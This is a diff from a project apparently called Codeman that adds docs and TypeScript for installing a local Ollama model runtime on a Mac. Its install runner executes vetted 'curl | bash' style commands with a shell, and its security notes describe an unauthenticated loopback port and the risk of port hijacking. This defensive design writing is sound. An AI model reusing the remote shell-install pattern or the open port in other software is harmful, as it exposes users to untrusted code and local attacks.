+   in the state file.
+
+The id `local-ollama` is reserved. A new endpoint cannot take it, and a record with that id
+that this feature did not write is never overwritten: the install says so before anything is
+downloaded. While the record is the managed one it cannot be edited or deleted in App
+Settings and the five-minute discovery sweep leaves it alone, so its model list stays the
+one model the install checked.
+
+Switching the setting on also starts that five-minute sweep for every other saved endpoint.
+
+## Starting a session
+
+"Start a session" starts the coding agent on the endpoint `local-ollama` through the
+existing custom model launch. Before a coding agent is STARTED on that endpoint the server
+checks, in this order:
+
+- the runtime child Codeman started is alive (whatever else answers on the port is not
+  ours);
+- the digest the runtime reports for the installed model is the one stored at install time;
+- the model asked for is the one that was installed and checked.
+
+That check runs wherever a new agent process comes to be on the endpoint: a session created
+with the model, a model applied to a running session (which restarts its agent), the attach
+that starts an agent in a session that has none or whose agent exited, and the rebuild of a
+session after a reboot (that entry is skipped with "the local model is not ready" and stays
+on offer). An agent that is already running when Codeman restarts is not started by
+Codeman, so it is not asked: it keeps running on its port, see below.
+
+A different digest refuses the launch: "The model on this Mac changed since it was
+installed. Remove it and install it again." The digest is also read again at boot and when
+the runtime is started.
+
+## Stop, Start, Remove
+
+- **Stop** stops the runtime and keeps it from starting at the next boot. **Start** undoes
+  that.
+- **Remove** stops the runtime, removes the endpoint record, switches the setting off again
+  only when this feature switched it on and no other endpoint is saved, and deletes the
+  runtime and its private home. The downloaded model is deleted only when asked. The coding
+  agent stays. While a live session uses the model, Remove answers with the session names
+  instead.
+
+## Where everything is
+
+All under the data directory (`~/.codeman`, or the instance's own):
+
+```
+local-model.json                           the state file (mode 0600)
+local-model/
+  runtime/ollama-0.40.15.tgz.partial       the runtime archive while it downloads
+  runtime/ollama-0.40.15/                  the unpacked runtime (about 579 MB)
+  models/                                  the model store
+  home/                                    the runtime's private HOME (its key pair is here)
+```
+
+Nothing is written or deleted outside `local-model/` except the state file beside it and the
+two writes of the connection. The state file holds no path, so it can never point a delete
+somewhere else. The user's own `~/.ollama` is never created, read or removed.
+
+`local-model.json` is not part of a config backup. `custom-model-hosts.json` and
+`settings.json` are, so restoring an older backup can take the endpoint record away while
+the model stays installed. The record is put back the next time Codeman starts (the setting
+is left as the backup had it). A restore can also bring a record back after a Remove: it
+then points at a port nothing listens on, is an ordinary endpoint again, and can be deleted
+in App Settings.
+
+## The job's states
+
+| State        | A server restart                                              | Cancel           | What can be done                       |
+| ------------ | ------------------------------------------------------------- | ---------------- | -------------------------------------- |
+| `idle`       | stays idle                                                    | refused          | install                                |
+| `installing` | becomes `paused` at the same step                             | becomes `paused` | cancel                                 |
+| `paused`     | stays paused                                                  | refused          | resume, install, remove                |
+| `failed`     | stays failed, same error                                      | refused          | resume, install, remove                |
+| `installed`  | stays installed; the runtime is started unless it was stopped | refused          | start a session, stop or start, remove |
+
+One job at a time. A job a server restart interrupted comes back paused and never continues
+without a click. Cancel interrupts the step in flight (the download, the pull, the request,
+the installer's process group); in the last step it is honoured before the first write, and
+once the two writes began they finish.
+
+## On a Mac without developer tools
+
+Coding agents call `git` and `python3`. On a Mac without Xcode or the Command Line Tools
+those are stubs that open macOS's "install the command line developer tools" window. So the
+window says one sentence wherever the person commits or finishes, and only when
+`/usr/bin/xcode-select -p` fails:
+
+> Coding agents use git and Python. This Mac has no developer tools yet, so macOS will offer
+> to install them the first time an agent needs one.
+
+Codeman itself only ever runs `/usr/bin/xcode-select -p` for this, bounded, and never `git`
+or `python3`.
+
+## What to know before relying on it
+
+- **The runtime's port has no login.** Any program on this Mac, and any web page served from
+  `localhost`, can use the model server and change its models. That is why the endpoint
+  record lists one model, why the sweep leaves it alone, and why the digest is compared
+  before a session starts.
+- **A Codeman restart stops the runtime.** A session that is mid-answer on the local model
+  loses that answer. The runtime is started again with the server, and the first request
+  loads the model again (seconds).
+- **An open session keeps calling the runtime's port.** The coding agent was given the
+  address when it started. While the runtime is stopped, or for the seconds of a Codeman
+  restart, its requests go to a port nothing of ours holds, and any program on this Mac could
+  bind that port and answer them. That is why Stop and "Use another port" are refused while
+  a session uses the model: close those sessions first.
+- **The runtime does not enforce the context length.** A prompt longer than the context was
+  accepted in testing. Do not rely on the runtime to stop one.
+- **The model stays in memory for ten minutes** after the last request, then the runtime
+  unloads it.
+
+## Source
+
+| What                                           | Where                                                                                              |
+| ---------------------------------------------- | -------------------------------------------------------------------------------------------------- |
+| Hardware probe, catalogue, recommendation      | `src/local-model/hardware.ts`, `src/config/local-model-catalog.ts`, `src/local-model/recommend.ts` |
+| Runtime pin, download, environment, supervisor | `src/local-model/runtime.ts`                                                                       |
+| Runtime HTTP client, pull parser, checks       | `src/local-model/ollama-client.ts`                                                                 |
+| Developer tools check                          | `src/local-model/developer-tools.ts`                                                               |
+| Job (state table, reducer, view, service)      | `src/local-model/install-job.ts`                                                                   |
+| State file                                     | `src/local-model/state-store.ts`                                                                   |
+| Connection and its undoing                     | `src/local-model/connect.ts`                                                                       |
+| Paths                                          | `src/local-model/paths.ts`                                                                         |
+| Routes                                         | `src/web/routes/local-model-routes.ts`                                                             |
+| Shared CLI install runner                      | `src/cli-install-runner.ts`                                                                        |
+| Serialized writer of the endpoint store        | `src/custom-model-hosts-writer.ts`                                                                 |

docs/security-architecture.md

@@ -594,6 +594,15 @@ Opt-in and off by default: the server POSTs the Web Push events (permission prom
 - **Discord bridge** (`src/discord-bridge.ts`, [setup](discord-bridge.md)): the bot token lives in `~/.codeman/discord.json` (0600, tmp+rename) and is never returned by the Discord routes, logged or put in an error, and the attachment, folder and download routes refuse the file. A session whose folder is the home directory can still read it through its own file viewer, which serves that workspace without the blocklist. Inbound replies are typed into a session only from `allowedUserIds`, in the configured guild, inside a thread the bridge created; anything else is dropped unread. A reply becomes one printable line plus Enter, capped at 1000 characters and one per second per tab. Posts send `allowed_mentions` limited to the allowlisted ids, so agent output cannot ping a server. **Files:** an attachment is fetched only from Discord's own HTTPS hosts (no redirects followed), at most 5 per reply and 8 MB each, saved 0600 under `<tab folder>/.codeman-discord/` with the name reduced to `[A-Za-z0-9._-]`; a file a CLI sends must be a regular file whose real path (symlinks followed) lies inside its own tab's folder and is not on the attachment blocklist (`isBlockedAttachmentPath`, since a tab's folder can be the home directory), which stops a sensitive file being uploaded by mistake, and remote sessions send and receive none. A received file is untrusted content to whatever opens it. **What the checks do not stop:** the agent runs as the same OS user, so the path check prevents accidental uploads, not a determined agent that pastes a file's contents into the message. **What leaves the machine:** a permission or question alert sends the rendered screen (whatever the agent printed), and a finished turn or an error sends the CLI's whole last message, read from its transcript (up to 8 posts of 1,900 characters). `idle_prompt` is a warning, so with the default scope every Claude turn left unanswered for a minute is posted, and with **Which events** set to Everything every turn end is; treat the Discord server as holding that output. **Multi-user:** the bridge is one allowlist for the whole server, so an allowlisted Discord account can type into every user's sessions; only an admin can configure it. **Startup hint:** a fixed text (no user input) is added to Claude's system prompt; no other CLI is sent it. The bridge only dials out (REST and the gateway WebSocket), so it needs no inbound exposure. A Discord account on the allowlist can drive agents that run shell commands: it needs 2FA.
 - **It carries session data to a third party.** Titles and bodies include session names, tool names and error text, all agent- or user-controlled, so Discord gets `allowed_mentions: { parse: [] }` and Slack's `& < >` are escaped: agent output cannot ping a channel. In multi-user mode all three routes are admin-only and the channel is instance-wide: it receives every user's session events, the same reach an admin's own Web Push has, which means non-admins' session details leave the box at the admin's choice.
 
+## 10d. The model on this Mac (local model install)
+
+Opt-in by a click, macOS only, admin-only in multi-user mode on every verb. The server downloads one pinned runtime build, runs it as its own child, pulls one model into it, installs the coding agent when it is missing, and saves one endpoint record. Source: `src/local-model/`, routes in `src/web/routes/local-model-routes.ts`. Guide: [`local-models.md`](local-models.md).
+
+- **Supply chain: a compiled pin.** The runtime's URL, size and sha256 are a constant in `src/local-model/runtime.ts` that no file, setting or request can change; the archive is hashed while it streams and compared BEFORE anything is unpacked, a mismatch deletes it, and only `/usr/bin/tar` unpacks it into a folder under the data dir. The model comes from the runtime's own registry under the name the catalogue pins; the digest the runtime reports after the pull is stored, and a model whose digest changed under that name is refused at the next start.
+- **A loopback port without a login.** The runtime listens on `127.0.0.1:<port>` (chosen once from 11435) with no authentication, like every model server of its kind: any program of any account on the Mac, and any web page served from `localhost`, can use it and change its models. What limits that: the endpoint record lists ONE model and the discovery sweep leaves it alone, the digest is compared before an agent is started on it (every start path, see the guide), and a listener on the port that is not our own child (judged by the stored pid's command line, never by the port alone) is reported as `port-in-use` and never signalled. An open session keeps calling the port while the runtime is stopped, which is why Stop and a port change are refused while one uses the model.
+- **A second install path for a coding agent, without `cliManagementEnabled`.** The job runs the COMPILED stock install command of a catalogue harness row (never a `clis.json` override, never a custom entry) through the same runner as CLI management, only after the consent screen showed the literal command, and writes the admin audit entry (`cli_install`, `via: 'local-model'`). The installer runs as the server's user with the same reach as every other spawn.
+- **The runtime's own files stay inside `~/.codeman/local-model/`**: its private HOME (so no `~/.ollama` is created), its model store and its unpacked folder; its environment is an allowlist (no `CODEMAN_*`). Remove deletes only inside that folder, refuses a folder that is a symbolic link, and ends the runtime (ours by its command line) before any file goes.
+
 ---
 
 ## 11. Quick reference

docs/versioning-policy.md

@@ -86,6 +86,26 @@ covered like any other stable behavior. Other agent commands and API routes keep
 their existing guarantees. Promotion to stable requires an explicit documented
 decision.
 
+### Experimental local model routes
+
+`GET /api/v1/local-model`, `POST /api/v1/local-model/install`, `/cancel`, `/resume`
+and `/runtime`, and `DELETE /api/v1/local-model` (and their `/api` aliases) are
+labeled experimental, so item 3 above applies to them: their paths, their payloads
+(the hardware facts, the verdicts and reasons, the candidate fields, the `install`
+object with its states, steps, error codes and actions, the 409 conflict shape and
+every English sentence) and their behavior may change or be removed in a MINOR or
+PATCH release. They look at the Mac the server runs on, say which local model fits,
+and install, start, stop and remove one ([local-models.md](local-models.md)).
+
+They are not behind a setting. Reading changes nothing; an install starts only on an
+explicit request that carries the size the person confirmed. All of them are admin
+only in multi-user mode. What an install leaves behind is ordinary, stable state: one
+saved model endpoint with the id `local-ollama` and the `customModelEndpointsEnabled`
+setting switched on, both of which the stable custom model endpoint routes read like
+any other endpoint. On-disk state (`local-model.json`, the `local-model/` folder) is
+internal, as for every other file in the data directory. Promotion to stable requires
+an explicit documented decision.
+
 ## Deprecation policy
 
 When we need to change a covered surface:

docs/wiki/Custom-Model-Endpoints.md

@@ -204,6 +204,45 @@ Which harnesses show up in the Run-menu picker is read live off Codeman's own CL
 not a fixed list here, so this table can go stale before this page does — a greyed-out or
 missing entry is the more current answer.
 
+## A model that runs on this Mac
+
+If the Codeman server runs on a Mac with Apple silicon, you do not need a server of your
+own: Codeman can set one model up for you on that Mac. This is experimental.
+
+1. Press **Run a local model** on the welcome screen (or open App Settings > Models > Model
+   on this Mac).
+2. The window shows what fits this Mac. A bar shows how much of the memory the selected
+   model takes at its full context; a nearly full bar means a tight fit. Pick a model and
+   the coding agent to run it with.
+3. Press **Install on this Mac**, check the sizes and where they go, and confirm. Nothing is
+   downloaded before this click.
+4. Codeman downloads a model runtime (Ollama, about 186 MB) and the model into
+   `~/.codeman/local-model`, loads the model, checks that all of it runs on the GPU and that
+   it can call a tool, installs the coding agent if it is missing, and saves an endpoint
+   named **This Mac**. No administrator password is asked for.
+5. Press **Start a session**.
+
+Good to know:
+
+- You can close the window: the download continues while Codeman is running. **Cancel**
+  pauses it and **Continue** picks it up where it stopped. After a Codeman restart an
+  unfinished install waits for your click.
+- The memory figure is an estimate until the runtime has started once. From then on it is
+  what the runtime itself measured, and the model is judged against that before it is
+  downloaded.
+- The endpoint "This Mac" belongs to this install. It is in the list and in the Run menu,
+  but it is changed and removed in the local model window, not here.
+- Codeman starts the runtime with the server and stops it with it. **Stop** keeps it from
+  starting next time.
+- **Remove** deletes the runtime and the endpoint, and the model too if you tick that. The
+  coding agent stays installed.
+- If the model on disk is no longer the one that was installed, Codeman refuses to start a
+  session on it and tells you to remove and install it again.
+- Any program on this Mac, and any web page served from `localhost`, can reach the model
+  runtime: its port has no login. It listens on this Mac only.
+- On a Mac without Apple's developer tools, macOS will offer to install them the first time
+  a coding agent runs `git` or Python. The window tells you when that applies.
+
 ## What it does not do
 
 - **No remote or Docker sessions yet.** Both restart their agent differently under the hood

docs/wiki/Settings-Reference.md

@@ -193,6 +193,26 @@ attached.
 section to the Run dropdown, for pointing a harness at your own OpenAI-compatible server
 instead of its native cloud backend. See [Custom Model Endpoints](Custom-Model-Endpoints).
 
+**Model on this Mac** is not a setting: it is the state of a model Codeman can run for you
+on the Mac the server runs on, with a button that opens the local model window. The same
+window opens from the **Run a local model** button on the welcome screen. It shows that
+Mac's chip, memory and free disk space, a bar for how much of the memory the selected model
+takes, and the models that fit, each with one tag (Best fit, Tight, Slow, Small model, or
+"Tested on a Mac like this"), a speed and a download size. **Install on this Mac** asks you
+to confirm the sizes once, then downloads a model runtime and the model into
+`~/.codeman/local-model`, checks that the model loads and can call a tool, installs the
+coding agent if it is missing, and ends on **Start a session**. No account, no API key and
+no administrator password. You can close the window while it downloads, cancel and continue
+later; after a Codeman restart an unfinished install waits for you to press Continue. Once a
+model is installed the window offers Start a session, Stop or Start, and Remove. Installing
+switches **Custom model endpoints** on and saves one endpoint named "This Mac"; Remove takes
+the endpoint away again and switches the setting back off if nothing else uses it. A Mac
+that can only run a small model is told so in plain words, and a Mac with too little memory,
+too little free disk space or an Intel processor is told why nothing is offered. The group
+is not shown when the server runs on Linux or Windows, and in multi-user mode only an admin
+sees it. The "Mac" is always the machine the server runs on, not the device you are reading
+on. Details: [Custom Model Endpoints](Custom-Model-Endpoints#a-model-that-runs-on-this-mac).
+
 ### Agents & CLIs
 
 | Setting                          | Notes                                                                                        |

src/cli-install-runner.ts

@@ -0,0 +1,311 @@
+/**
+ * @fileoverview The shared runner of a STOCK CLI's install command: the one place Codeman
+ * executes an install one-liner, used by `POST /api/clis/:id/install`
+ * (src/web/routes/cli-registry-routes.ts) and by the local model install job.
+ *
+ * The code was moved here from cli-registry-routes.ts, and that route keeps its behaviour
+ * byte for byte (same answers, same audit entry, same 409 for a second install of one id,
+ * same environment).
+ *
+ * What lives here:
+ *  - `installEnv()` and `npmGlobalPrefixWritable()`: the installer's environment is the
+ *    server's minus every `CODEMAN_*` variable, with npm's global prefix pointed at a place
+ *    the server user can write. test/routes/cli-registry-routes.test.ts imports both from the
+ *    route module, which re-exports them from here.
+ *  - `runInstallCommand()`: `shell: true`, its own process group, output capped, the whole
+ *    group killed on timeout. New: an abort signal that kills the group the same way, so the
+ *    install job's Cancel has something to stop.
+ *  - `forgetResolvedCli()`: after an install, successful or not, every cached lookup of the
+ *    CLI's binaries is dropped, or a pre-install miss is replayed for up to five minutes.
+ *  - The set of ids with an install running. ONE set for both callers
+ *    (`tryBeginCliInstall()`), so the route and the job can never run two installers of one
+ *    CLI over the same prefix.
+ *
+ * Rules:
+ *  - Which command runs is the CALLER's choice, and the two callers choose differently. The
+ *    local model job passes `stockInstallCommand()`, which reads the compiled `STOCK_CLIS`
+ *    and never the registry merged with `clis.json`, so an override file cannot change what
+ *    that job runs. The CLI management route passes the merged entry's command
+ *    (`resolveInstallCommandForPlatform(listClis()...)`), as it did before this module
+ *    existed: a `clis.json` override of a stock entry's install command IS what that route
+ *    runs (behind `cliManagementEnabled`, after a confirm that shows the exact text). A custom
+ *    entry's install text is never executed by either. Switching the route to
+ *    `stockInstallCommand()` would close that gap at the cost of a behaviour change the route
+ *    tests pin; it is an owner decision, not made here.
+ *  - Who may call it is the caller's rule, not this module's: the route keeps its
+ *    `cliManagementEnabled` gate; the install job runs it only for a harness row of the local
+ *    model catalogue, after the person's consent click on a screen that showed the literal
+ *    command, admin only in multi-user mode, and writes the admin audit entry itself.
+ */
+
+import { execFile, spawn } from 'node:child_process';
+import { constants as fsConstants } from 'node:fs';
+import { access } from 'node:fs/promises';
+import { dirname, join } from 'node:path';
+import { promisify } from 'node:util';
+import { resolveInstallCommandForPlatform } from './config/cli-registry/registry.js';
+import { STOCK_CLIS } from './config/cli-registry/stock.js';
+import { getErrorMessage } from './types.js';
+import { invalidateCliExecutableResolvers } from './utils/cli-executable-resolver.js';
+import { invalidateCliResolverCache } from './utils/cli-resolver.js';
+
+/** How long an install command may run before its process group is killed. */
+export const CLI_INSTALL_TIMEOUT_MS = 300_000;
+
+/** How an install command ended. */
+export interface CliInstallResult {
+  /** The exit code, `null` when the command was killed or could not be started. */
+  code: number | null;
+  /** stdout and stderr together, capped. */
+  output: string;
+  /** The timeout killed it. */
+  timedOut: boolean;
+  /** The abort signal killed it. */
+  aborted: boolean;
+}
+
+export interface RunInstallCommandOptions {
+  /** Kills the installer's whole process group (SIGTERM, then SIGKILL). */
+  signal?: AbortSignal;
+}
+
+/**
+ * Ids with an install running right now. A second request for the same id gets 409 rather
+ * than a second `curl | bash` or `npm install -g` racing the first over the same prefix.
+ */
+const installsInFlight = new Set<string>();
+
+const execFileAsync = promisify(execFile);
+
+/**
+ * True when `npm install -g` can write to this process's npm global prefix, or when that cannot
+ * be determined (then nothing is redirected: a wrong guess would move installs somewhere the
+ * user did not choose). `npm config get prefix` is asked rather than guessed from `process.execPath`
+ * because a user `.npmrc` / `NPM_CONFIG_PREFIX` can point it anywhere.
+ *
+ * Async so the server keeps serving while npm boots (130 to 240 ms), and killed with SIGKILL on
+ * timeout because `SIGTERM` alone leaves the wait running. A prefix that does not exist yet is
+ * judged by the nearest ancestor that does: npm creates the missing directories, so a user
+ * `.npmrc` pointing at `~/.npm-global` before it was made is not moved.
+ */
+export async function npmGlobalPrefixWritable(source: NodeJS.ProcessEnv): Promise<boolean> {
+  try {
+    const { stdout } = await execFileAsync('npm', ['config', 'get', 'prefix'], {
+      env: source,
+      encoding: 'utf8',
+      timeout: 5_000,
+      killSignal: 'SIGKILL',
+    });
+    const prefix = stdout.trim();
+    if (!prefix) return true;
+    // npm creates lib/node_modules under the prefix; walk up to the first directory that exists.
+    let dir = join(prefix, 'lib', 'node_modules');
+    for (;;) {
+      try {
+        await access(dir, fsConstants.W_OK);
+        return true;
+      } catch (err) {
+        if ((err as NodeJS.ErrnoException).code !== 'ENOENT') return false;
+        const parent = dirname(dir);
+        if (parent === dir) return false;
+        dir = parent;
+      }
+    }
+  } catch {
+    return true;
+  }
+}
+
+/**
+ * The server's environment minus every `CODEMAN_*` variable. An install script is third-party
+ * code, and those variables carry Codeman's own secrets and wiring (`CODEMAN_PASSWORD`, the
+ * data dir, the tmux socket), none of which an installer needs.
+ *
+ * It also points `NPM_CONFIG_PREFIX` at `$HOME/.local` so an `npm install -g` lands somewhere the
+ * server user can write and Codeman's resolvers already search (`~/.local/bin`):
+ *  - inside the Docker Compose container (`CODEMAN_IN_CONTAINER=1`), so installs survive an image
+ *    update (the image's own prefix is image content);
+ *  - on a native install whose npm global prefix is not writable by the server user (a system node
+ *    under `/usr`, installed by root). Without this `npm install -g` died with EACCES (exit 243),
+ *    e.g. DeepSeek's `npm install -g @deepseek-ai/dsh`. An explicit `NPM_CONFIG_PREFIX` the
+ *    operator set is respected, and so is a prefix that is writable (nvm, `~/.npm-global`, ...).
+ */
+export function installEnv(
+  source: NodeJS.ProcessEnv = process.env,
+  prefixWritable: (env: NodeJS.ProcessEnv) => boolean = () => true
+): NodeJS.ProcessEnv {
+  const env: NodeJS.ProcessEnv = {};
+  for (const [key, value] of Object.entries(source)) {
+    if (!key.startsWith('CODEMAN_')) env[key] = value;
+  }
+  // ⚠️ In the Docker Compose deployment the image sets NPM_CONFIG_PREFIX=/opt/codeman-cli, which is IMAGE
+  // content: `Update-Codeman.sh` recreates the container and every CLI installed there (dsh, pi, ...)
+  // vanishes. HOME is the persistent bind mount and `~/.local/bin` is already on every resolver's search
+  // list, so npm-based installs are redirected there. curl|bash installers already target HOME.
+  if (source.CODEMAN_IN_CONTAINER === '1' && source.HOME) {
+    redirectNpmPrefix(env, source.HOME);
+  } else if (process.platform !== 'win32' && source.HOME && !source.NPM_CONFIG_PREFIX && !prefixWritable(env)) {
+    redirectNpmPrefix(env, source.HOME);
+  }
+  return env;
+}
+
+/**
+ * Point npm at `$HOME/.local`, dropping every spelling of the prefix key first. `npm run` exports a
+ * lowercase `npm_config_prefix`, npm reads `npm_config_*` case-insensitively, and when both spellings
+ * are present a `/bin/sh` that sorts its environment (bash) lets the older value win. The explicit
+ * operator guard in `installEnv` stays on the uppercase key only: npm always injects the lowercase one.
+ */
+function redirectNpmPrefix(env: NodeJS.ProcessEnv, home: string): void {
+  for (const key of Object.keys(env)) if (/^npm_config_prefix$/i.test(key)) delete env[key];
+  env.NPM_CONFIG_PREFIX = `${home}/.local`;
+}
+
+/**
+ * `installEnv` for this process, with the (async) npm prefix probe done first and only when the
+ * command runs npm at all: a `curl | bash` installer never pays for it.
+ */
+async function installEnvFor(command: string, source: NodeJS.ProcessEnv = process.env): Promise<NodeJS.ProcessEnv> {
+  const usesNpm = /\bnpm\b/.test(command);
+  const probeNeeded =
+    usesNpm &&
+    source.CODEMAN_IN_CONTAINER !== '1' &&
+    process.platform !== 'win32' &&
+    !!source.HOME &&
+    !source.NPM_CONFIG_PREFIX;
+  const writable = probeNeeded ? await npmGlobalPrefixWritable(installEnv(source)) : true;
+  return installEnv(source, () => writable);
+}
+
+/**
+ * Runs a STOCK entry's already-vetted install command. `shell: true` is unavoidable here:
+ * the shipped commands are genuinely `curl | bash` / `npm install -g` one-liners. This is NOT
+ * a reopening of the config-shell-text concern the registry's `shellToken` pattern exists to
+ * prevent: the string executed here is NEVER user input, only ever what is already hardcoded
+ * and reviewed in `stock.ts`, and a CUSTOM entry can never reach this function at all (see the
+ * guard of each caller).
+ *
+ * Never throws: a spawn that fails is a result with `code: null`.
+ */
+export async function runInstallCommand(
+  command: string,
+  options: RunInstallCommandOptions = {}
+): Promise<CliInstallResult> {
+  const { signal } = options;
+  if (signal?.aborted) return { code: null, output: '', timedOut: false, aborted: true };
+  const env = await installEnvFor(command);
+  // The environment probe above can take a moment (npm boots): an abort during it starts nothing.
+  if (signal?.aborted) return { code: null, output: '', timedOut: false, aborted: true };
+  return new Promise((resolve) => {
+    let child: ReturnType<typeof spawn>;
+    try {
+      child = spawn(command, {
+        shell: true,
+        stdio: ['ignore', 'pipe', 'pipe'],
+        // Own process group; the timeout below kills the whole tree by hand, mirroring
+        // the DeepSeek profile-install endpoint's own reasoning: an install command fans
+        // out into package-manager children, and spawn's own `timeout` option signals
+        // only the direct child, leaving survivors holding the pipes open forever.
+        detached: true,
+        env,
+      });
+    } catch (err) {
+      resolve({ code: null, output: `spawn failed: ${getErrorMessage(err)}`, timedOut: false, aborted: false });
+      return;
+    }
+
+    let output = '';
+    let timedOut = false;
+    let aborted = false;
+    let settled = false;
+    let killTimer: NodeJS.Timeout | undefined;
+    let reapTimer: NodeJS.Timeout | undefined;
+
+    const capture = (chunk: Buffer) => {
+      if (output.length < 16_384) output += chunk.toString('utf-8');
+    };
+    child.stdout?.on('data', capture);
+    child.stderr?.on('data', capture);
+
+    const killTree = (killSignal: NodeJS.Signals) => {
+      try {
+        if (child.pid) process.kill(-child.pid, killSignal);
+      } catch {
+        /* already gone */
+      }
+    };
+
+    /** SIGTERM to the group, SIGKILL three seconds later, and give up waiting after eight. */
+    const stopTree = () => {
+      if (killTimer) return;
+      killTree('SIGTERM');
+      killTimer = setTimeout(() => killTree('SIGKILL'), 3_000);
+      reapTimer = setTimeout(() => finish(null), 8_000);
+    };
+
+    const onAbort = () => {
+      aborted = true;
+      stopTree();
+    };
+
+    const finish = (code: number | null) => {
+      if (settled) return;
+      settled = true;
+      clearTimeout(timer);
+      if (killTimer) clearTimeout(killTimer);
+      if (reapTimer) clearTimeout(reapTimer);
+      signal?.removeEventListener('abort', onAbort);
+      resolve({ code, output, timedOut, aborted });
+    };
+
+    const timer = setTimeout(() => {
+      timedOut = true;
+      stopTree();
+    }, CLI_INSTALL_TIMEOUT_MS);
+
+    signal?.addEventListener('abort', onAbort, { once: true });
+
+    child.on('error', (err) => {
+      output = `${output}\n${err.message}`;
+      finish(null);
+    });
+    child.on('close', (code) => finish(code));
+  });
+}
+
+/**
+ * The install command of the STOCK CLI `id` for this platform, read from the compiled
+ * `STOCK_CLIS`. `undefined` for an id that is not a stock CLI or has no command here.
+ */
+export function stockInstallCommand(id: string): string | undefined {
+  const entry = STOCK_CLIS.find((candidate) => (candidate.id as string) === id);
+  if (!entry) return undefined;
+  const command = resolveInstallCommandForPlatform(entry);
+  return command !== undefined && command.trim() !== '' ? command : undefined;
+}
+
+/**
+ * Claims the one install slot of `id`. Returns the function that releases it, or `null` when
+ * an install of that CLI is already running (the caller answers 409 or waits).
+ */
+export function tryBeginCliInstall(id: string): (() => void) | null {
+  if (installsInFlight.has(id)) return null;
+  installsInFlight.add(id);
+  let released = false;
+  return () => {
+    if (released) return;
+    released = true;
+    installsInFlight.delete(id);
+  };
+}
+
+/**
+ * Forgets every cached binary lookup of a CLI: the generic per-id resolver (which captures
+ * the entry's binaries when first built) and every per-binary cache, hits and negative-cache
+ * backoff alike. Called after anything that changes what is on disk or what the CLI's binary
+ * IS; see `invalidateCliExecutableResolvers`.
+ */
+export function forgetResolvedCli(id: string, binaries: readonly string[]): void {
+  invalidateCliExecutableResolvers(binaries);
+  invalidateCliResolverCache(id);
+}

src/config/local-model-catalog.ts

@@ -0,0 +1,391 @@
+/**
+ * @fileoverview The local model catalogue: which models, harnesses and chips the recommendation
+ * knows, as a compiled constant validated by a Zod schema.
+ *
+ * Rules:
+ *  - There is NO override file and no runtime download data here: nothing in this file reads
+ *    the data dir, and a data file can never decide what gets recommended. Which runtime build
+ *    is downloaded is a compiled constant of its own (src/local-model/runtime.ts).
+ *  - A model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`), so it can
+ *    only ever name a model of the default registry and namespace.
+ *  - A harness is a ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`). The `cli` is a CLI
+ *    registry id as data: no code may compare it with a literal. Whether that CLI exists and can
+ *    take a custom model is checked against the registry at call time, in
+ *    src/local-model/harness-facts.ts, never here.
+ *  - The schema checks more than fields. Across rows it requires: unique model ids and ranks,
+ *    unique harness `cli`s and ranks, `contexts` largest first, a `tested` entry naming a harness
+ *    row, and `chips` most specific first.
+ *  - `getLocalModelCatalog()` parses the constant once, on first use and never at import, and
+ *    throws on a bad row. test/local-model-catalog.test.ts pins that the stock constant parses,
+ *    so a bad row fails the gate and never reaches the route.
+ *
+ * Where each figure of the stock rows comes from, and what was checked (2026-11-06):
+ *
+ * | Figure               | Source                                                    | Checked                              |
+ * |----------------------|-----------------------------------------------------------|--------------------------------------|
+ * | `id`                 | the registry's tag                                        | yes, by the facts review             |
+ * | `bytes`              | `qwen3.6:35b-a3b`: the total of a real pull on a Mac      | that row: measured. It is an MLX     |
+ * |                      | (23,105,798,956). Every other row: the sum of the layer   | build on a Mac, 2% above its         |
+ * |                      | sizes of the tag's registry manifest                      | manifest. The others: not on a Mac   |
+ * | `heldBytesPerToken`, | measured for `qwen3.6:35b-a3b` on an Apple M5 Pro with    | that row: measured. The others carry |
+ * | `overheadBytes`,     | 48 GB: 36,000 to 38,000 bytes held per token of context,  | the SAME three figures, not their    |
+ * | `peakExtraBytes`     | 2.5 to 3 GB beside the weights, and about 5 GB more for a | own: nobody ran them. `figures` says |
+ * |                      | moment while a long prompt is processed                   | which row is which                   |
+ * | `license`            | the model card (all Apache-2.0)                           | read by the research, not re-checked |
+ * | `paramsB`            | 27.8 from the model card; the others are the count in the | no. Only the 12 billion line reads   |
+ * |                      | model's name                                              | it, and no row is near that line     |
+ * | `contexts`, `rank`   | a judgement of the design                                 | no                                   |
+ * | `speedPer100Gbps`    | one published run on an M1 Max (400 GB/s): generation     | the run was read. It stands for less |
+ * |                      | only, short prompt. The two q8_0 rows are SCALED by file  | than a session: no long prompt, no   |
+ * |                      | size, not measured                                        | thinking tokens                      |
+ * | `tested`             | our own run of the model with a harness on a real Mac     | one entry, with its measured speed   |
+ * | `minMacosMajor`      | the runtime's documentation (macOS 14)                    | yes, by the facts review             |
+ * | harness `minContext` | 65536: the runtime's documentation for both harnesses.    | 65536 yes. 32768 no, which is why    |
+ * |                      | 32768: recalled                                           | that row is gated                    |
+ * | `chips`              | the bandwidth column of                                   | yes, read at the source for this     |
+ * |                      | https://github.com/ggml-org/llama.cpp/discussions/4167    | file                                 |
+ *
+ * The memory figures decide a lot and rest on ONE measured model, so for every other row they
+ * can be wrong in either direction:
+ *  - For the 9B rows they may be too HIGH (the 5 GB for a moment was seen with a prompt of
+ *    89,000 tokens on the 35B model). That errs on the careful side: a small Mac is told
+ *    "none" before it is told to download something that may not fit.
+ *  - For the two dense `qwen3.8:27b` rows the per-token figure may be too LOW: computed from
+ *    its config alone that model holds 64 KiB per token, more than the 37,000 bytes measured
+ *    on the 35B (whose own computed figure was 20 KiB). Their need at a large context is
+ *    therefore the least certain figure of the catalogue.
+ * A row gets its own figures when somebody measures it. Until then the check after the
+ * download (the runtime must report the whole model on the GPU) is what catches a row that
+ * was judged too kindly.
+ *
+ * `tested` has one entry: `qwen3.6:35b-a3b` with OpenCode on an Apple M5 Pro with 48 GB,
+ * 2026-11-06, 67.7 tokens per second. Only a Mac of exactly that chip and memory size is told
+ * "Recommended" and shown that speed in place of the estimate.
+ */
+
+import { z } from 'zod';
+import type { ChipEntry, LocalModelCatalog } from '../types.js';
+
+/** A model id: lowercase name, one colon, a tag. No slash, so no registry host or namespace can ride along. */
+export const LOCAL_MODEL_ID_PATTERN = /^[a-z0-9][a-z0-9._-]*:[a-z0-9][a-z0-9._-]*$/;
+
+/**
+ * Whether `chip` (a `machdep.cpu.brand_string`, 'Apple M4 Pro') is the chip a `ChipEntry.match`
+ * ('M4 Pro') names: the string must END with the match, and the match must start at the
